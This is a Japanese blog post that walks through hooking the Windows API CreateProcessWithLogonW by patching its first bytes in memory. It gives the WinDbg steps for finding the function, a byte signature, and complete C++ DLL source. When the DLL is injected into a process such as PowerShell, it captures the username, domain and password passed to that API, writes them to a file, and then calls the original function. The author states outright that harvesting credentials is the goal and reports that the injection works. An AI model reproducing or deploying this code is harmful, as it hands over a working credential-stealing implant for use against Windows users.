メモリパッチによるAPIフックコードの実装をやってみる
メモリパッチによるAPIフックコードの実装をやってみる
今回は後学のために,FridaやMicrosoft Detoursなどの便利なライブラリやフレームワークに頼らないAPIフックコードの実装をやってみる.
フック処理を行うプログラムをDLLとして作成し,これをターゲットプロセスへDLLインジェクションで注入する. 最終的に資格情報をファイルとして出力させることを目標とする.
フック対象APIの調査
PowerShellのStart-Processコマンドレットなどのオプションに-Credential
を付けると続けて資格情報の入力を求められる.
これにより,あるプロセスを別のユーザーやドメインのセキュリティコンテキストで実行させることができる.
この動作をAPI Monitorで追ってみるとプロセスの作成にはWin32APIのCreateProcessWithLogonWを使用していることがわかる.
MSDNによるとこのAPIのプロトタイプは次のようになっている.
BOOL CreateProcessWithLogonW( LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
このAPI冒頭数バイトを不正な関数へとジャンプする機械語へと書き換えることでフックを行う.
APIフックコードの概要
フックコードの実装は大まかに次のようにすればよいだろう.
- ターゲットプロセスのメモリ空間内に存在するCreateProcessWithLogonWへのアドレスの特定
- CreateProcessWithLogonWが見つかった場合,このAPIの先頭12バイトを不正な関数へジャンプする機械語に置き換える
- 不正な関数内で資格情報をインターセプト
- システムが正常に処理を完了できるように,インターセプトした資格情報を使って正規のCreateProcessWithLogonWを呼び出す
不正な関数では,資格情報をファイルとして書き出した上で,システムが正常に処理を完了できるように正規のCreateProcessWithLogonWを呼び出す.
CreateProcessWithLogonWAPIの特徴点
フック処理を行う前に,先んじてターゲットプロセスのメモリ空間内に存在するCreateProcessWithLogonWのアドレスを特定する必要がある.
DLLからエクスポートされている関数をフックする場合,その関数へのアドレスは関数ポインタなどを利用することによって簡単に求めることができる。
しかし今回はこの方法ではなく,特徴点となる機械語でターゲットプロセス内のメモリ空間を探索するという方針でやってみる.
まずはCreateProcessWithLogonWの特徴点となる機械語を特定する.
ここでいう特徴点とはCreateProcessWithLogonW内部だと判定できる一意な機械語のことを指す.
特徴点となる機械語の求め方はいろいろあると思うが,今回は練習もかねてWinDbgを使って求めてみる.
MSDNによると,CreateProcessWithLogonWはAdvapi32.dllからエクスポートされていることがわかる.
WinDbgで特定の関数へのアドレスを求めるには次のようにすればよい.
まずWinDbgでPowerShellにアタッチし,ロードされているモジュールを列挙する.
0:026> lm start end module name 00007ff7`d2ed0000 00007ff7`d2f41000 powershell (pdb symbols) C:\ProgramData\Dbg\sym\powershell.pdb\D2F07EB4AF4CA8F5362A77028F6214F11\powershell.pdb 00007ff8`7e090000 00007ff8`7ed93000 Microsoft_PowerShell_Commands_Utility_ni (deferred) 00007ff8`7eda0000 00007ff8`80e06000 System_Management_Automation_ni (deferred) 00007ff8`90bc0000 00007ff8`90dda000 OpcServices (deferred) 00007ff8`91480000 00007ff8`9166d000 Microsoft_CSharp_ni (deferred) // 省略 00007ff8`e5bc0000 00007ff8`e5c63000 ADVAPI32 (deferred) // 省略
続いてADVAPI32内の関数を列挙する.
0:026> x /D ADVAPI32!a* A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 00007ff8`e5bd7294 ADVAPI32!AccProvpLoadMartaFunctions (void) 00007ff8`e5bd73e0 ADVAPI32!AccProvpGetStringFromRegistry (void) 00007ff8`e5bd52a0 ADVAPI32!AppmgmtInitialize (void) 00007ff8`e5bcc540 ADVAPI32!AllocateAndInitializeExtObject (void) 00007ff8`e5bda6dc ADVAPI32!AccProvpInitProviders (void) // 省略
この中からCreateProcessWithLogonWを検索すればよい.
検索をかけていくと次のような出力を得る.
// 省略 00007ff8`e5bf3028 ADVAPI32!CodeAuthzpComputeImageHash (CodeAuthzpComputeImageHash) 00007ff8`e5bca434 ADVAPI32!CodeAuthzGuidIdentsLoadTableAll (CodeAuthzGuidIdentsLoadTableAll) 00007ff8`e5c028c0 ADVAPI32!CreateProcessWithLogonW (CreateProcessWithLogonW) 00007ff8`e5bdc880 ADVAPI32!CreateServiceEx (CreateServiceEx) // 省略
これにより,CreateProcessWithLogonWはアドレス00007ff8`e5c028c0にロードされていることがわかった.
MemoryウィンドウとDisassemblyウィンドウで確認してみる.
特徴点として選択する機械語はどこでもよいが,今回は関数先頭からの数十バイト程度を選択した.
0x4C ,0x8B ,0xDC ,0x48 ,0x83 ,0xEC ,0x68 ,0x48 ,0x8B ,0x84 ,0x24 ,0xC0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xF0 ,0x48 ,0x8B ,0x84 ,0x24 ,0xB8 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xE8 ,0x48
試しにHxDなどでこの値を検索してみると確かに1件しかヒットせず,一意な機械語になっていることがわかる.
これでCreateProcessWithLogonWの特徴点となる機械語が求まった.
この機械語をもとにターゲットプロセス内のメモリ空間を探索することで,パッチを当てる部分を特定する.
フック処理
メモリ空間を探索し,特徴点となる機械語がヒットしたら,次はその部分を不正な関数へとジャンプさせる機械語へと書き換える.
フック処理部分は,解説を読むよりも最初にコードを見てもらったほうが理解しやすいだろう.
void installCreateProcessWithLogonW() { // 無限ループ回避用遅延 Sleep(1000 * 2); // ターゲットモジュール内のイメージ領域サイズを取得 HMODULE targetModule = GetModuleHandle(TEXT("advapi32.dll")); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew); SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage; // ターゲットモジュールのイメージ領域内を特徴点で探索し,CreateProcessWithLogonWのアドレスを求める addressOfCreateProcessWithLogonW =(LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char*)targetModule, PatternCreateProcessWithLogonW, sizeof(PatternCreateProcessWithLogonW), sizeOfImage); // フック前の正規な機械語を保存 std::memcpy(bytesToRestoreCreateProcessWithLogonW, addressOfCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW)); // フック処理準備 "mov rax, &hookedCreateProcessWithLogonW; jmp rax"; となるように機械語を準備する DWORD_PTR addressBytesOfhookedCreateProcessWithLogonW = (DWORD_PTR)&hookedCreateProcessWithLogonW; std::memcpy(PatchCreateProcessWithLogonW + 2, &addressBytesOfhookedCreateProcessWithLogonW, sizeof(&addressBytesOfhookedCreateProcessWithLogonW)); std::memcpy(PatchCreateProcessWithLogonW + 2 + sizeof(&addressBytesOfhookedCreateProcessWithLogonW), (PVOID) & "\xff\xe0", 2); // jmp rax; // フック処理 SIZE_T* bytesWritten = NULL; WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, PatchCreateProcessWithLogonW, sizeof(PatchCreateProcessWithLogonW), (SIZE_T*)&bytesWritten); }
フック前,つまりWriteProcessMemoryにより機械語が書き換えられる前が以下の画像.
処理を進めると次の画像のように値が書き換わるのが確認できる.
これにより,CreateProcessWithLogonWが呼び出された際に,不正な関数へとジャンプするようになった.
コード
作成したコードは以下.
#include<pch.h> #include <iostream> #include <stdio.h> #include <Windows.h> #define SECURITY_WIN32 #include <Sspi.h> #include <ntsecapi.h> #include <ntsecpkg.h> #include <userenv.h> #pragma comment(lib, "Userenv") using _CreateProcessWithLogonW = NTSTATUS(NTAPI*)(LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR pApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); char PatternCreateProcessWithLogonW[] = { 0x4C ,0x8B ,0xDC ,0x48 ,0x83 ,0xEC ,0x68 ,0x48 ,0x8B ,0x84 ,0x24 ,0xC0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xF0 ,0x48 ,0x8B ,0x84 ,0x24 ,0xB8 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xE8 ,0x48 }; // mov rax, &CreateProcessWithLogonW char PatchCreateProcessWithLogonW[12] = { 0x48, 0xb8 }; PVOID patternStartAddressOfSpAccecptedCredentials = NULL; PVOID addressOfCreateProcessWithLogonW = NULL; char bytesToRestoreCreateProcessWithLogonW[12] = { 0 }; void installCreateProcessWithLogonW(); PVOID GetPatternMemoryAddress(char* startAddress, char* pattern, SIZE_T patternSize, SIZE_T searchBytes) { unsigned int index = 0; PVOID patternAddress = NULL; char* patternByte = 0; char* memoryByte = 0; do { if (startAddress[index] == pattern[0]) { for (size_t i = 1; i < patternSize; i++) { *(char*)&patternByte = pattern[i]; *(char*)&memoryByte = startAddress[index + i]; if (patternByte != memoryByte) { break; } if (i == patternSize - 1) { patternAddress = (LPVOID)(&startAddress[index]); return patternAddress; } } } ++index; } while (index < searchBytes); return (PVOID)NULL; } NTSTATUS NTAPI hookedCreateProcessWithLogonW(LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR pApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) { HANDLE file = CreateFile(TEXT("C:\\temp\\credentials.txt"), GENERIC_ALL, 0, NULL, CREATE_ALWAYS, NULL, NULL); //debug //printf("lpUsername: %ls\n", lpUsername); //printf("lpPassword: %ls\n", lpPassword); // output DWORD bytesWritten = 0; WriteFile(file, lpUsername, lstrlen(lpUsername) * 2, &bytesWritten, NULL); WriteFile(file, "@", 2, &bytesWritten, NULL); WriteFile(file, lpDomain, lstrlen(lpDomain) * 2, &bytesWritten, NULL); WriteFile(file, ":", 2, &bytesWritten, NULL); WriteFile(file, lpPassword, lstrlen(lpPassword) * 2, &bytesWritten, NULL); CloseHandle(file); //unhook WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, bytesToRestoreCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW), NULL); CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)installCreateProcessWithLogonW, NULL, NULL, NULL); _CreateProcessWithLogonW originalCreateProcessWithLogonW = (_CreateProcessWithLogonW)addressOfCreateProcessWithLogonW; return originalCreateProcessWithLogonW(lpUsername, lpDomain, lpPassword, dwLogonFlags, pApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); } void installCreateProcessWithLogonW() { Sleep(1000 * 2); HMODULE targetModule = GetModuleHandle(TEXT("advapi32.dll")); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew); SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage; patternStartAddressOfSpAccecptedCredentials = (LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char*)targetModule, PatternCreateProcessWithLogonW, sizeof(PatternCreateProcessWithLogonW), sizeOfImage); addressOfCreateProcessWithLogonW = (LPVOID)((DWORD_PTR)patternStartAddressOfSpAccecptedCredentials); std::memcpy(bytesToRestoreCreateProcessWithLogonW, addressOfCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW)); // hook advapi32!CreateProcessWithLogonW "mov rax, &hookedCreateProcessWithLogonW; jmp rax"; DWORD_PTR addressBytesOfhookedCreateProcessWithLogonW = (DWORD_PTR)&hookedCreateProcessWithLogonW; std::memcpy(PatchCreateProcessWithLogonW + 2, &addressBytesOfhookedCreateProcessWithLogonW, sizeof(&addressBytesOfhookedCreateProcessWithLogonW)); std::memcpy(PatchCreateProcessWithLogonW + 2 + sizeof(&addressBytesOfhookedCreateProcessWithLogonW), (PVOID) & "\xff\xe0", 2); // jmp rax; SIZE_T* bytesWritten = NULL; WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, PatchCreateProcessWithLogonW, sizeof(PatchCreateProcessWithLogonW), (SIZE_T*)&bytesWritten); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { OutputDebugString(TEXT("=================\n")); installCreateProcessWithLogonW(); OutputDebugString(TEXT("=================\n")); } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
デモ
話を単純にするため,まずは自プロセス内のCreateProcessWithLogonWをフックするプログラムを作成し,実験してみる.
正しく動作していることがわかる.
次に,DLLとしてこのプログラムを書き直し,DLLインジェクションによるリモートプロセスへの注入で正しく動作するか試してみる.
正しく動作していることがわかる.
以上.